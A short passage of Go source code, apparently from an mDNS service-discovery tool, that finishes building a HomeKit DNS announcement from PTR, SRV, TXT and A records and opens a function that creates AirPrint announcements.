homekitMsg.Answer = []dns.RR{homekitPtr, srvHomeKit, homekitTxt, aHost}
return []*dns.Msg{homekitMsg}
}
func createAirPrintAnnouncements(name string, deviceID string, ttl uint32) []*dns.Msg {